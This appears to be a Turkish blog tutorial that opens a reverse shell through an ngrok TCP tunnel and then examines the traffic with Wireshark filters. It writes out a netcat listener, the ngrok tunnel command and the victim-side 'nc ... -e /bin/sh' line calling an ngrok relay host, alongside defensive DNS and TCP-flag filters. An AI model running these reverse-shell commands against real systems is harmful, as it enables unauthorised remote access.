Ngrok ile Reverse Shell Alma ve Wireshark ile Trafik Analizi

kaleileriteknoloji
3 min readJul 26, 2021

Bu uygulamada ngrok aracılığıyla reverse shell alınması sağlanmış ve wireshark trafik analizi yapılmıştır.

Şimdi ise ngrok kurulum ve yapılandırma işlemini ele alalım. İlk olarak https://ngrok.com adresine girip kayıt olup, sayfada oturum açıyoruz.

Download for Linux butonuna basarak ngroku indiriyoruz.

Aşağıdaki komutu kullanarak ngrokun dizine açılmasını sağlayalım.

unzip ngrok-stable-linux-amd64.zip

Sonraki aşamada ise ngrok ile doğrulama işlemi için aşağıdaki kod çalıştırılmalıdır. Her hesapta bu authtoken değişmektedir.

İnternet üzerinden reverse shell almak için ilk olarak nc ile 4444 nolu portu dinlemeyelim, bunun için aşağıdaki komutu kullanabiliriz:

nc –lvp 4444

Sonra ngrok ile 4444/tcp port üzerinden tünelleme işlemini başlatalım. Bu işlem için farklı bir sekmede aşağıdaki komut çalıştırılmalıdır:

./ngrok tcp 4444

Yukarıdaki görselde 8.tcp.ngrok.io adresinin 16335 nolu portuna bağlantı yapıldığında lokaldeki 4444 porta tünelleme yapılacaktır. Reverse shell almak için aşağıdaki komut kullanılabilir:

nc 8.tcp.ngrok.io 16335 –e /bin/sh

Sırasıyla reverse shell alınan makina üzerinden “ip a” ve “whoami” komutları çalıştırılmıştır:

Trafik analizinde ilk olarak dns A kaydı sorgusuna bakabiliriz. Dns.a display filtresini kullanabiliriz.

Burada tunnel.us.ngrok.com alan adının IP adresi 3.134.73.173 olarak tespit edilmiştir.

Reverse shell üzerinden veriler PSH ve ACK flagleri set edilmiş paketler üzerinden iletilecektir. Burada kaynak ve hedef IP adreslerinin loopback olduğu alanlara dikkat edebiliriz. Bu işlem için aşağıdaki filtre kullanılabilir:

tcp.flags.ack==1 and tcp.flags.push==1 and ip.src==127.0.0.1 and ip.dst==127.0.0.1

Saldırgan tarafta reverse shell almak için dinlenen portun 4444 olduğu yukarıdaki şekilde tespit edilmiştir.

Çalıştırılan komutlar aşağıdaki şekilde belirlenmiştir:

--

--